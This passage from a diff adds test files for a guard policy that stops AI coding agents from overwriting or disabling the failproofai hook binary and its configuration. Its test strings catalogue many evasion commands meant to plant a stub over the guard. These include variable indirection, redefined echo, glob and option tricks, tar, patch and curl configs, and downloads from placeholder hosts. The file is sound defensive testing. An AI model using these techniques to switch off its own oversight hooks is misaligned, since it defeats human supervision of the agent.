node_modules/.bin/failproofai'; } | sh", + "xargs -I{} sh -c {} <<'EOF'\necho 'printf x > node_modules/.bin/failproofai'\nEOF", + "/tmp/bin/echo 'printf x > node_modules/.bin/failproofai'", + "echo 'exit 0' > node_modules/.bin/failproofai", + 'echo x >node_modules/.bin/fail"proof"ai', + // A reader that keeps it, a loop or condition piped into a shell, an + // `echo` the line redefines, the shell's own output sent to one, and a + // substitution, which runs. + "echo 'printf x > node_modules/.bin/failproofai' | grep x | sh", + // A file printed into, then run on the same line. + "echo 'printf x > node_modules/.bin/failproofai' > docs/s.sh && sh docs/s.sh", + "echo 'printf x > node_modules/.bin/failproofai' > s.sh; ./s.sh", + "echo 'printf x > node_modules/.bin/failproofai' | tee s.sh | sh", + "for i in 1; do\necho 'printf x > node_modules/.bin/failproofai'\ndone | sh", + "if true; then\necho 'printf x > node_modules/.bin/failproofai'\nfi | sh", + 'echo() { sh -c "$*"; }; echo \'printf x > node_modules/.bin/failproofai\'', + "alias echo='sh -c'\necho 'printf x > node_modules/.bin/failproofai'", + "exec > >(sh); echo 'printf x > node_modules/.bin/failproofai'", + "exec >/tmp/s.sh; echo 'printf x > node_modules/.bin/failproofai'; sh /tmp/s.sh", + 'echo "$(cat > node_modules/.bin/failproofai < /tmp/stub.sh)"', + // An interpreter spelled with quotes or an escape is still an + // interpreter, and so is one behind `time` or a variable (found by + // hermes on FailproofAI/failproofai#1058). + "echo 'printf x > .failproofai/policies-config.json' > notes; 'sh' notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; \"sh\" notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; s'h' notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; \\sh notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; time sh notes", + "echo 'printf x > .failproofai/policies-config.json' > notes; \"$SHELL\" notes", + ])("denies quoted text something runs, or a real redirect: %s", async (command) => { + expect(await bash(command)).toBe("deny"); + }); + + // Codex runs a command in the `workdir` its shell tool names, and its hook + // payload reports the session's directory only (found by hermes on + // FailproofAI/failproofai#1058). A relative destination that would plant + // the entry, were that directory npm's bin directory, is refused; nothing + // else is read differently. + it.each([ + "printf '#!/bin/sh\\nexit 0\\n' > failproofai", + "printf x >> ../../failproofai", + "cd src && printf x > ../failproofai", + "tee failproofai < /tmp/stub.sh", + "cp /tmp/stub.sh ./failproofai", + "cp /tmp/stage/failproofai .", + "mv /tmp/stub.sh failproofai.cmd", + "ln -s /tmp/stub.sh failproofai", + "curl -sofailproofai https://example.com/x", + "wget -O failproofai https://example.com/x", + "wget https://example.com/dl/failproofai", + "curl -OJ https://example.com/download", + "gcc -o failproofai main.c", + "dd if=/tmp/stub.sh of=failproofai", + "printf x > failproofai/dist/cli.mjs", + // Through a directory that may be a link where the command really runs. + "printf x > tbins/failproofai", + "printf x > x/y/failproofai.cmd", + "cp /tmp/stub.sh deps/failproofai/dist/cli.mjs", + "sed -n 'wfailproofai' /tmp/stub.sh", + "F=failproofai; (F=x); printf y > $F", + 'F=failproofai; F=x true; printf y > "$F"', + ])("denies a Codex command planting the entry wherever it runs: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("deny"); + }); + + it.each([ + "which failproofai", + "npm view failproofai version", + "rm -rf dist/*", + "twine upload dist/*", + "cat failproofai", + "printf x > src/failproofai.ts", + "cd /tmp && printf x > failproofai", + "printf x > tbins/notes.txt", + "printf x > docs/intro.md", + ])("allows a Codex command that plants nothing: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("allow"); + }); + + it("reads a Codex command from the workdir the call reports", async () => { + expect(await bashAs("codex", { command: "printf x > failproofai", workdir: "/work/proj/node_modules/.bin" })).toBe("deny"); + expect(await bashAs("codex", { command: "printf x > failproofai", workdir: "/work/proj/src" })).toBe("allow"); + }); + + it("reads other agents' commands from the session's directory", async () => { + expect(await bashAs("claude", { command: "printf x > failproofai" })).toBe("allow"); + expect(await bashAs(undefined, { command: "printf x > failproofai" })).toBe("allow"); + }); + + it.each([ + ["running another package's binary", "./node_modules/.bin/vitest run"], + ["running a binary through node", "node node_modules/.bin/eslint src"], + ["running a binary by its relative path", "node_modules/.bin/tsc --noEmit -p ."], + ["listing the directory", "ls -la node_modules/.bin"], + ["looking at the entry", "ls -l node_modules/.bin/failproofai"], + ["reading the entry", "cat node_modules/.bin/failproofai"], + ["resolving the entry", "readlink -f node_modules/.bin/failproofai"], + ["a clean reinstall", "rm -rf node_modules && npm ci"], + ["clearing every entry", "rm -rf node_modules/.bin/*"], + ["clearing every entry under an upper-case parent", "rm -rf NODE_MODULES/.BIN/*"], + ["installing dependencies", "npm install"], + ["adding a dev dependency", "npm i -D vitest"], + ["copying another tool into the directory", "cp /tmp/stage/my-tool node_modules/.bin/"], + ["copying an entry out", "cp node_modules/.bin/failproofai /tmp/inspect"], + ["copying an entry out into a directory", "cp node_modules/.bin/failproofai /tmp/inspect/"], + ["moving a source file", "mv src/failproofai.ts src/guard.ts"], + ["backing a directory up", "cp -r node_modules/.bin /tmp/bin-backup"], + ["backing the state up into a directory", "cp -r ~/.failproofai /tmp/backup/"], + ["backing the state up with a redirect", "cp ~/.failproofai/config.json /tmp/backup.json 2>/dev/null"], + ["reading the state with a redirect", "cat ~/.failproofai/config.json 2>/dev/null"], + // A value is not a source. + ["installing a binary owned by a user of that name", "install -o failproofai -g failproofai -m 0755 build/agentd /usr/local/bin/"], + ["creating directories owned by a user of that name", "install -d -o failproofai /srv/app/bin"], + // `.bin` starts a path component, or it is another name. + ["copying a file onto one whose name ends in .bin", "cp failproofai release.bin"], + ["running a binary after a cd", "cd node_modules/.bin && ./vitest run"], + ["a cd that a subshell undoes", "(cd node_modules/.bin && ls) && cp /tmp/stub.sh failproofai"], + ["copying a tool after a cd", "cd node_modules/.bin && cp /tmp/stage/my-tool ."], + ["clearing a tree's .bin directories", "rm -rf ~/projects/*/node_modules/.bin/*"], + // Somebody's own `~/.bin` is not npm's. + ["moving a tool into ~/.bin", "mv /tmp/tool ~/.bin/"], + ["linking a script into ~/.bin", "ln -s ~/dotfiles/scripts/deploy ~/.bin/"], + ["copying scripts into ~/.bin", "cp -r ./scripts/ ~/.bin/"], + ["syncing dotfiles into ~/.bin", "rsync -a dotfiles/bin/ ~/.bin/"], + ["moving a binary into a project's .bin", "mv golangci-lint .bin/"], + // `ln` cannot create a directory given a trailing `/`. + ["linking a package's CLI into node_modules/.bin/", "ln -s ../my-pkg/cli.js node_modules/.bin/"], + // A one-segment glob below another directory is not aimed at the state. + ["a glob ending in ai", "rm -rf models/*ai"], + ["a glob ending in i", "rm -f out/*i"], + ["a glob around proof", "rm -rf vendor/*proof*"], + ["a sed program that looks like a glob", "sed -i 's/.*ai/X/' notes.txt"], + ["a commit message with a #", "git commit -m 'fix #12: cp a b'"], + ["a loop copying files out", "for f in *.txt; do cp $f /tmp/; done"], + ["a cd and a build", "cd packages/api && npm run build"], + ["clearing a scratch directory", "cd /tmp && rm -rf *"], + // A `cd` the walk cannot follow changes nothing for ordinary names. + ["tests from the repository root", 'cd "$(git rev-parse --show-toplevel)" && npm test'], + ["a cleanup from the repository root", 'cd "$(git rev-parse --show-toplevel)" && rm -rf dist *.log'], + ["a note in a temporary directory", 'cd "$(mktemp -d)" && echo hi > notes.txt'], + ["a listing of home", "cd $HOME && ls -la"], + // Redirects and comments are not operands, and a comment line runs nothing. + ["a comment line that names the state", "# Look at ~/.failproofai\nls -la ~/.failproofai"], + ["reading the state through an input redirect", "uniq -c < ~/.failproofai/x.log | sort -rn"], + ["tee fed from the state", "tee -a /tmp/x < ~/.failproofai/policies-config.json"], + ["a backup with a comment naming the state", "cp -r ~/.failproofai /tmp/bak # copy of ~/.failproofai"], + ["a find whose comment names -delete", "find ~/.failproofai -name '*.log' -print # not -delete yet"], + ["a read run through bash -c", "bash -c 'cat ~/.failproofai/policies-config.json'"], + // rsync puts a source directory inside the destination; it does not + // become npm's bin directory. + ["syncing a directory into the bin directory", "rsync -a /tmp/my-tool node_modules/.bin/"], + // Outside a loop the shell reads a variable as it stands at that point. + ["a variable assigned only after its use", 'D=/tmp; cp notes.txt "$D/failproofai"; D=/work/proj/node_modules/.bin'], + // Each stage of a pipeline is a subshell, so its cd moves nothing after it. + ["a cd in a pipeline stage", "cd node_modules/.bin | true; cp notes.txt failproofai"], + // `cd -` and `popd` return to where the shell already stood. + ["a cd - back out of the state", "cd ~/.failproofai; cat config.json; cd -; rm -rf node_modules"], + ["leaving through a link to elsewhere", "ln -s /work/proj/dist current && rm -rf current/x"], + ])("allows %s", async (_label, command) => { + expect(await bash(command)).not.toBe("deny"); + }); + + it.each([ + // The session's own directory exists, so a cd back to it does not fail. + ["/work/proj", "cd ~/.failproofai; cat config.json; cd /work/proj; rm -rf node_modules"], + ["/work/proj", "cd frontend; npm install; cd ..; rm -rf node_modules"], + ["/work/proj", "cd /tmp; printf x > notes.txt"], + ["/work/proj", "cd node_modules/.bin && ls -la && cd ../.. && rm -rf build"], + ["/work/proj", "pushd /tmp && make && popd && rm -rf out"], + ["/work/proj", "cd a && cd b && cd c && cd d && cd e; rm -rf build"], + ["/work/proj", "cd a; make; cd ..; cd b; make; cd ..; cd c; make; cd ..; cd d; make; cd ..; cd e; make; cd ..; rm -rf dist"], + // After `&&` the cd has succeeded, so `$PWD` is where it went. + ["/work/proj/node_modules/.bin", 'cd /tmp && printf x > "$PWD/failproofai"'], + ])("allows ordinary moves from %s: %s", async (cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + it.each([ + ["a checkout of failproofai itself", "/home/u/src/failproofai", "npm test"], + ["a checkout of failproofai itself", "/home/u/src/failproofai", "rm -rf dist"], + ["node_modules/.bin", "/work/proj/node_modules/.bin", "cp README.md /tmp/"], + ["node_modules/.bin", "/work/proj/node_modules/.bin", "./vitest run"], + // The command word is a program, not a path written to, and an option + // is not a path: neither is read from the directory. + ["failproofai's own state", "/home/u/.failproofai/logs", "date"], + ["failproofai's own state", "/home/u/.failproofai/logs", "uname -a"], + ["an installed package", "/home/u/proj/node_modules/failproofai/dist", "uname -a"], + ])("allows ordinary work from %s", async (_label, cwd, command) => { + expect(await bashIn(cwd, command)).not.toBe("deny"); + }); + + // The walk runs on every tool call, and one evaluation holds up every hook + // on the machine. A directory that grew with each `cd` made later words + // slower to judge without bound (28.9 s for the first input in review). + it.each([ + ["a script of 700 cd / build / cd ../.. steps", "bash <<'EOF'\n" + Array.from({ length: 700 }, (_, i) => `cd packages/pkg-${i}\nnpm run build\ncd ../..`).join("\n") + "\nEOF"], + ["2,000 relative cds", Array(2000).fill("cd a").join(" && ") + " && ls"], + ["1,000 cds into globs", Array(1000).fill("cd a*").join(" && ") + " && ls"], + // Each `;` keeps the directories a failed cd would leave the shell in. + ["2,000 cds that may each fail", Array(2000).fill("cd a").join("; ") + "; ls"], + ["2,000 cds into globs that may each fail", Array(2000).fill("cd a*").join("; ") + "; ls"], + [ + "1,000 links and a write through each", + Array.from({ length: 1000 }, (_, i) => `ln -s /tmp/t${i} /tmp/l${i}; printf x > /tmp/l${i}/f`).join("; "), + ], + ["a 2,000-segment glob", "rm -rf " + Array(2000).fill("*").join("/")], + // A value that refers to itself grew with every expansion pass. + ["a self-referring variable", "A=" + "$A".repeat(100) + "; echo $A"], + // The envelope's 128 KB field cap. A lookbehind that scanned back over a + // run of letters at every position took 16 s at 32 KB, and a long path + // walked on disk one component at a time took a second at 128 KB. + ["a 128 KB word of letters after a command", "find . -name '*.sqlite' -delete " + "x".repeat(128_000)], + ["a 128 KB run of option letters", "echo -" + "a".repeat(128_000)], + ["thirty long option clusters, each glued to .bin", "echo " + Array(30).fill("-" + "a".repeat(4_000) + ".bin/x").join(" ")], + ["a 128 KB run of letters ending in .bin", "echo -" + "a".repeat(128_000) + ".bin/failproofai.txt"], + ["a 128 KB path of one-letter directories", "echo " + "a/".repeat(64_000)], + [ + "thirty paths just under PATH_MAX", + "echo " + Array.from({ length: 30 }, (_, i) => `w${i}/` + "a/".repeat(2_040)).join(" "), + ], + ])("judges %s in bounded time", async (_label, command) => { + const started = performance.now(); + await bash(command); + expect(performance.now() - started).toBeLessThan(3000); + }); + + // From a directory on disk, where a glued value may be a link: one per + // letter of a long line's option words was a second of path walks. + it.each([ + ["128 KB of distinct option clusters, each with a value glued on", "foo " + optionClusters(3_700)], + ["curl with 128 KB of glued output files", "curl " + optionClusters(3_700).replaceAll(" -", " -so")], + ["a chain of 2,000 links made on the line", Array.from({ length: 2000 }, (_, i) => `ln -s l${i} l${i + 1}`).join("; ") + "; printf x > l2000/x"], + ["1,000 links put into a directory, each written through", Array.from({ length: 1000 }, (_, i) => `ln -s /tmp/t${i} out/; printf x > out/t${i}`).join("; ")], + ["128 KB of echo with quoted redirects", Array.from({ length: 6_000 }, (_, i) => `echo 'a > b${i}'`).join("; ")], + ])("judges %s from a directory on disk in bounded time", async (_label, command) => { + const started = performance.now(); + await bashIn(tmpdir(), command); + expect(performance.now() - started).toBeLessThan(3000); + }); + + it("judges a patch naming 7,000 files in bounded time", async () => { + const files = Array.from({ length: 7_000 }, (_, i) => `*** Add File: src/f${i}.ts\n+x`); + const started = performance.now(); + expect(await patch({ command: v4a(...files) }, tmpdir())).toBe("allow"); + expect(performance.now() - started).toBeLessThan(3000); + }); + }); + + // The guard protects the entry by NAME, so it has to be the name every + // project-scope hook hands npx. If an integration ever installs a different + // package or bin name, this fails instead of the guard silently protecting a + // file no hook runs. + it("protects the name every project-scope npx hook command runs", async () => { + const names = new Set(); + const viaNpx: string[] = []; + const otherwise: string[] = []; + const mixed: string[] = []; + for (const integration of listIntegrations()) { + if (!integration.scopes.includes("project")) continue; + // Every event's entry, not just one: an event launched some other way + // would be a hook the guard was never checked against. + const launched = integration.eventTypes.map((eventType) => { + const entry = JSON.stringify(integration.buildHookEntry("/opt/fp/bin/failproofai", eventType, "project")); + const found = [...entry.matchAll(/npx -y (\S+)/g)].map(([, name]) => name); + for (const name of found) names.add(name); + return found.length > 0; + }); + if (launched.every(Boolean)) viaNpx.push(integration.id); + else if (launched.some(Boolean)) mixed.push(integration.id); + else otherwise.push(integration.id); + } + expect(mixed).toEqual([]); + // A new integration, or a new launcher (`npx --yes`, `bunx`), lands in one + // of these lists and fails here until the guard is checked against it. + expect(viaNpx.sort()).toEqual(["antigravity", "claude", "codex", "copilot", "cursor", "devin", "factory", "goose"]); + // OpenCode runs npx from the shim checked below; Pi loads the extension by + // a package path, which runs the CLI next to it, not through npx. + expect(otherwise.sort()).toEqual(["opencode", "pi"]); + // OpenCode's entry is a plugin path; the npx call is inside the shim that + // install writes next to it. + const dir = mkdtempSync(join(tmpdir(), "fpai-npx-guard-opencode-")); + const cwd = vi.spyOn(process, "cwd").mockReturnValue(dir); + try { + listIntegrations() + .find((integration) => integration.id === "opencode")! + .writeHookEntries({}, "/opt/fp/bin/failproofai", "project"); + const shim = readFileSync(join(dir, ".opencode", "plugins", "failproofai.mjs"), "utf8"); + // The launcher and its arguments, tied to the same switch, so a shim that + // kept these arguments for another program would fail here. + expect(shim).toContain("const USE_NPX = true;"); + expect(shim).toMatch(/const cmd = USE_NPX \? "npx" :/); + const spawned = [...shim.matchAll(/USE_NPX\s*\?\s*\["-y", "([^"]+)"/g)].map(([, name]) => name); + expect(spawned.length).toBeGreaterThan(0); + for (const name of spawned) names.add(name); + } finally { + cwd.mockRestore(); + rmSync(dir, { recursive: true, force: true }); + } + expect([...names]).toEqual(["failproofai"]); + for (const name of names) { + expect((await write(`/work/proj/node_modules/.bin/${name}`)).decision).toBe("deny"); + expect(await bash(`cp /tmp/stub.sh node_modules/.bin/${name}`)).toBe("deny"); + } + }); +}); + +/** + * hermes's seventh review of FailproofAI/failproofai#1058, each reproduced with + * real bash, curl and wget in a scratch project first: a final-component glob + * over more names than the walk expanded (F7), variable values that reach a + * destination through another variable, an operator, or a `cd` (F11), and a + * long option cut short (`--output-di`), which curl before 8 and every + * getopt_long tool take. Alongside, the same paths through a sweep of npm's + * bin directory, a link made earlier on the line, a loop, the builtins that set + * a variable without `=`, and a sed script read from a file. + */ +describe("block-failproofai-commands — hermes's seventh round", () => { + let root: string; + let proj: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-npx-round7-")); + proj = join(root, "proj"); + mkdirSync(join(proj, "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(proj, "out")); + mkdirSync(join(proj, "many")); + writeFileSync(join(proj, "node_modules", ".bin", "failproofai"), "#!/bin/sh\n"); + symlinkSync(join(proj, "node_modules", ".bin"), join(proj, "bins")); + symlinkSync(join(proj, "node_modules", ".bin", "failproofai"), join(proj, "hook")); + // More plain names than a glob was expanded to, and one link among them. + for (let i = 0; i < 4200; i++) writeFileSync(join(proj, "many", `a${String(i).padStart(4, "0")}`), ""); + symlinkSync(join(proj, "node_modules", ".bin", "failproofai"), join(proj, "many", "hook")); + writeFileSync(join(proj, "writes.sed"), "w hook\n"); + writeFileSync(join(proj, "prints.sed"), "p\n"); + writeFileSync(join(proj, "out", "a.txt"), ""); + const diff = (path: string) => `--- a/${path}\n+++ b/${path}\n@@ -1 +1 @@\n-#!/bin/sh\n+exit 0\n`; + writeFileSync(join(proj, "entry.patch"), diff("node_modules/.bin/failproofai")); + writeFileSync(join(proj, "links.patch"), diff("bins/failproofai")); + writeFileSync(join(proj, "app.patch"), diff("src/app.ts")); + writeFileSync(join(proj, "output.cfg"), "silent\noutput = hook\n"); + writeFileSync(join(proj, "landing.cfg"), "output-dir = bins\nremote-name\n"); + writeFileSync(join(proj, "quiet.cfg"), "# just quiet\nsilent\n"); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + // F7: past 4096 plain names, the link among them still counts. + "tee many/* < /tmp/stub.sh", + "cat /tmp/stub.sh | tee many/?*", + "cd many && tee * < /tmp/stub.sh", + "for f in many/*; do cat /tmp/stub.sh > \"$f\"; done", + // A write that sweeps npm's bin directory writes the entry in it. + "tee bins/* < /tmp/stub.sh", + "tee node_modules/.bin/* < /tmp/stub.sh", + "cp /tmp/stub.sh node_modules/.bin/*", + // A glob reads the links this line made before it. + "ln -s ../node_modules/.bin out/b && cp /tmp/stub.sh out/b*/failproofai", + "ln -s ../node_modules/.bin out/b && cd out/b* && printf x > failproofai", + ])("denies a glob that writes the entry: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + // F11: a value through another variable, read when it is assigned. + "A=bins; (A=out); B=$A; cp /tmp/stub.sh $B/failproofai", + "A=bins; A=out true; B=$A; cp /tmp/stub.sh $B/failproofai", + "A=bins; (A=out); B=${A}; cp /tmp/stub.sh ${B}/failproofai", + "N=fail; M=${N}proofai; (N=x); printf x > bins/$M", + // A `cd` to each value the operand may hold. + "D=bins; (D=out); cd $D && printf x > failproofai", + "D=bins; D=out true; cd \"${D}\" && printf x > failproofai", + "D=bins; (D=out); pushd $D > /dev/null && printf x > failproofai", + "export D=bins; (D=out); cd $D; printf x > failproofai", + // Operators as bash applies them. + "D=bins; cd ${D%/} && printf x > failproofai", + "D=out; cp /tmp/stub.sh ${D/out/bins}/failproofai", + "cp /tmp/stub.sh ${X:-bins}/failproofai", + "N=D; D=bins; cp /tmp/stub.sh ${!N}/failproofai", + // Values set without `=`, and ones the walk cannot read. + "D=bins; declare -n R=D; cp /tmp/stub.sh $R/failproofai", + "read D <<< bins; cp /tmp/stub.sh $D/failproofai", + "printf -v D bins; cp /tmp/stub.sh $D/failproofai", + "for d in out bins; do cp /tmp/stub.sh $d/failproofai; done", + "for n in x failproofai; do printf x > bins/$n; done", + "D=$(echo bins); cp /tmp/stub.sh $D/failproofai", + "D=`echo bins`; cp /tmp/stub.sh $D/failproofai", + ])("denies a variable that carries the write onto the entry: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + // A long option cut short, as curl before 8 and getopt_long take it. + "curl -s --output-di bins -O https://example.test/failproofai", + "curl -s --output-d node_modules/.bin --remote-name https://example.test/failproofai", + "curl -s --output-dir bins --remote-name-a https://example.test/failproofai", + "curl -s --output-dir out -O https://example.test/x --nex --output-di bins -O https://example.test/failproofai", + "wget -q --directory-p=bins https://example.test/failproofai", + "wget -q --dir bins https://example.test/failproofai", + // The names wget gives that are not the URL's last segment. + "cd bins && wget -q --default-page=failproofai https://example.test/", + "wget -q -P bins --default-p=failproofai https://example.test/", + "wget -q -e dir_prefix=bins https://example.test/failproofai", + "cd bins && wget -q --trust-server-names https://example.test/x", + // The other files curl writes. + "curl -s --stderr hook -o /dev/null https://example.test/x", + "curl -s --stde hook -o /dev/null https://example.test/x", + "curl -s -c hook https://example.test/x", + "curl -s --cookie-j hook https://example.test/x", + ])("denies a download option that lands on the entry: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + "sed -n -f writes.sed /tmp/notes", + "sed -n --file=writes.sed /tmp/notes", + "sed -nf writes.sed /tmp/notes", + "sed -n -f missing.sed /tmp/notes", + ])("denies a sed script file that writes the entry, or one it cannot read: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + // An archive extracted into npm's bin directory. + "tar -xf /tmp/stub.tar -C bins", + "tar --extract --file=/tmp/stub.tar --directory=node_modules/.bin", + "cd bins && tar -xzf /tmp/stub.tgz", + "unzip -o /tmp/stub.zip -d bins", + // A patch file that names the entry, directly or through a link. + "patch -p1 < entry.patch", + "patch -p1 -i links.patch", + "git apply entry.patch", + "git -C . apply links.patch", + "cat entry.patch | patch -p1", + "patch -p1 < missing.patch", + // A curl config read onto the line. + "curl -K output.cfg https://example.test/x", + "curl --config landing.cfg https://example.test/failproofai", + "curl -sK missing.cfg https://example.test/x", + ])("denies an archive, patch or config that writes the entry: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + "rm -rf node_modules/.bin/*", + "tar -xf /tmp/stub.tar -C out", + "tar -czf out/backup.tgz node_modules", + "patch -p1 < app.patch", + "git apply app.patch", + "curl -K quiet.cfg https://example.test/x -o out/x", + "ls many/* > /dev/null", + "wc -l many/* > out/counts", + "for f in out/*.txt; do cp \"$f\" \"$f.bak\"; done", + "for f in many/a000*; do cat \"$f\" > /dev/null; done", + "D=out; cp /tmp/stub.sh ${D}/notes", + "D=out/; cp /tmp/stub.sh ${D%/}/x", + "OUT=out/log.txt; echo hi > \"$OUT\"", + "cp /tmp/stub.sh ${X:-out}/notes", + "read D <<< out; cp /tmp/stub.sh $D/notes", + "cd out && curl -sO https://example.test/failproofai/my-tool", + "curl -s --cookie hook https://example.test/x", + "sed -n -f prints.sed /tmp/notes > out/x", + "cd out && wget -q --default-page=index.txt https://example.test/", + ])("still allows: %s", async (command) => { + expect(await bashIn(proj, command)).toBe("allow"); + }); + + // F13: curl's `-O` takes no value, so the URL after it is no file name, and + // a download from a directory Codex does not report lands by the URL's last + // segment, `my-tool` here. + it.each([ + "cd out && curl -sO http://host/failproofai/my-tool", + "cd out && curl -s -O http://host/failproofai/my-tool", + "cd out && curl -sSLO http://host/failproofai/my-tool", + ])("allows a Codex download whose URL only passes through a failproofai directory: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("allow"); + }); + + it.each([ + "curl -sD failproofai http://host/x", + "curl -s --stderr failproofai http://host/x", + "curl -so failproofai http://host/x", + ])("denies a Codex download that names the entry as a file curl writes: %s", async (command) => { + expect(await bashAs("codex", { command })).toBe("deny"); + }); +}); + +// Found end to end on macOS, whose default shell is zsh: Claude Code runs the +// agent's command there, `**/` recurses with no option, and `setopt globdots` +// lets `*` match `.bin`. +describe("block-failproofai-commands — globs read the way zsh expands them", () => { + let root: string; + let proj: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-zsh-glob-")); + proj = join(root, "proj"); + mkdirSync(join(proj, "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(proj, "deep", "a", "b"), { recursive: true }); + mkdirSync(join(proj, "src", "lib"), { recursive: true }); + symlinkSync(join(proj, "node_modules", ".bin", "failproofai"), join(proj, "deep", "a", "b", "hook")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + "cp /tmp/stub.sh deep/**/hook", + "cp /tmp/stub.sh deep/***/hook", + "setopt globdots; cp /tmp/stub.sh node_modules/*/failproofai", + "setopt GLOB_DOTS; cp /tmp/stub.sh node_modules/*/failproofai", + "setopt extendedglob; cp /tmp/stub.sh deep/a/b/(#i)HOOK", + ])("denies %s", async (command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it("still allows a recursive cleanup in a tree with more directories than one glob component reads", async () => { + for (let i = 0; i < 1100; i++) mkdirSync(join(proj, "src", "many", `d${i}`), { recursive: true }); + expect(await bashIn(proj, "rm -rf **/*.log")).toBe("allow"); + }); + + it.each(["rm -f src/**/*.orig", "rm -rf **/__pycache__", "cp /tmp/stub.sh node_modules/*/notes"])( + "still allows %s", + async (command) => { + expect(await bashIn(proj, command)).toBe("allow"); + }, + ); +}); + +// hermes's eighth round on 52c478da: each wrote the entry for real with +// GNU tar, curl and bash while the guard allowed it. +describe("block-failproofai-commands — option clusters, nested configs and operators, round eight", () => { + let root: string; + let proj: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-round8-")); + proj = join(root, "proj"); + mkdirSync(join(proj, "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(proj, "long"), { recursive: true }); + const entry = join(proj, "node_modules", ".bin", "failproofai"); + symlinkSync(entry, join(proj, "hook")); + symlinkSync(entry, join(proj, "long", "hook")); + symlinkSync(join(proj, "node_modules", ".bin"), join(proj, "bins")); + writeFileSync(join(proj, "inner.cfg"), "url = http://127.0.0.1/failproofai\noutput = hook\n"); + writeFileSync(join(proj, "outer.cfg"), "config = inner.cfg\n"); + writeFileSync(join(proj, "outer2.cfg"), "-K outer.cfg\n"); + writeFileSync(join(proj, "plain.cfg"), "url = http://127.0.0.1/x\noutput = notes.txt\n"); + writeFileSync(join(proj, "loop.cfg"), "config = loop.cfg\n"); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + ["a curl -K glued at the end of a cluster", "curl -sKinner.cfg"], + ["a curl -K glued with more flags before it", "curl -fsSLKinner.cfg"], + ["a config naming another", "curl -s -K outer.cfg"], + ["a config naming another as -K", "curl -s --config outer2.cfg"], + ["configs that name each other forever", "curl -s -K loop.cfg"], + ["tar's -C glued to its directory", "tar -xf stub.tar -Cbins"], + ["tar's -f glued to its archive", "tar -xfstub.tar -C bins"], + ["tar's -C glued after other flags", "tar -xvzf stub.tgz -Cbins"], + ["the longest suffix removed", "A=long/out/x; cp stub ${A%%/*}/hook"], + ["printf -v reusing its format", "printf -v D '%s' ho ok; cp stub $D"], + ])("denies %s", async (_label, command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + "curl -s -K plain.cfg", + "curl -oK http://127.0.0.1/x", + "tar -xf stub.tar -Cout", + "tar -xfstub.tar", + "A=long/out/x; cp stub ${A%/*}/notes", + "printf -v D '%s' a b; cp stub out/$D", + ])("still allows %s", async (command) => { + expect(await bashIn(proj, command)).toBe("allow"); + }); +}); + +// hermes's ninth round on e0d88d81. +describe("block-failproofai-commands — printf conversions and tar's -C order, round nine", () => { + let root: string; + let proj: string; + + beforeAll(() => { + root = mkdtempSync(join(tmpdir(), "fpai-round9-")); + proj = join(root, "proj"); + mkdirSync(join(proj, "node_modules", ".bin"), { recursive: true }); + mkdirSync(join(proj, "out"), { recursive: true }); + const entry = join(proj, "node_modules", ".bin", "failproofai"); + symlinkSync(entry, join(proj, "16")); + symlinkSync(entry, join(proj, "8")); + symlinkSync(entry, join(proj, "ff")); + symlinkSync(join(proj, "node_modules", ".bin"), join(proj, "bins")); + }); + + afterAll(() => { + rmSync(root, { recursive: true, force: true }); + }); + + it.each([ + ["a hexadecimal %d", "printf -v D '%d' 0x10; cp stub $D"], + ["an octal %d", "printf -v D '%d' 010; cp stub $D"], + ["%i", "printf -v D '%i' 0x10; cp stub $D"], + ["%x", "printf -v D '%x' 255; cp stub $D"], + ["%u of a hexadecimal", "printf -v D '%u' 0x10; cp stub $D"], + ["a width this does not compute", "printf -v D '%2d' 16; cp stub $D"], + ["tar extracting one member into an earlier -C", 'tar -xfstub.tar -C bins failproofai -C "$PWD/out" other'], + ["tar's -C relative to the one before it", "tar -xf stub.tar -C node_modules -C .bin"], + ["tar's --directory before another -C", "tar -x -f stub.tar --directory=bins failproofai -C out x"], + ])("denies %s", async (_label, command) => { + expect(await bashIn(proj, command)).toBe("deny"); + }); + + it.each([ + "printf -v D '%d' 42; cp stub out/$D", + "printf -v N '%03d' 7; echo $N", + "tar -xf stub.tar -C out a -C out b", + ])("still allows %s", async (command) => { + expect(await bashIn(proj, command)).toBe("allow"); + }); +}); diff --git a/__tests__/hooks/guard-openclaw-apply-patch.test.ts b/__tests__/hooks/guard-openclaw-apply-patch.test.ts new file mode 100644 index 000000000..fe203a63c --- /dev/null +++ b/__tests__/hooks/guard-openclaw-apply-patch.test.ts @@ -0,0 +1,43 @@ +// @vitest-environment node +import { beforeEach, describe, expect, it } from "vitest"; +import { registerBuiltinPolicies } from "../../src/hooks/builtin-policies"; +import { evaluatePolicies } from "../../src/hooks/policy-evaluator"; +import { clearPolicies } from "../../src/hooks/policy-registry"; + +/** + * OpenClaw passes its own `apply_patch` tool to policies under that name, + * uncanonicalized, where Codex's arrives as `Edit`. The always-on guard matched + * only Bash and the file tools, so an OpenClaw patch that planted + * `node_modules/.bin/failproofai`, or rewrote failproofai's state, never + * reached it (FailproofAI/failproofai#1058). This runs the guard the way the + * handler does: registered from its catalog matcher, then evaluated. + */ 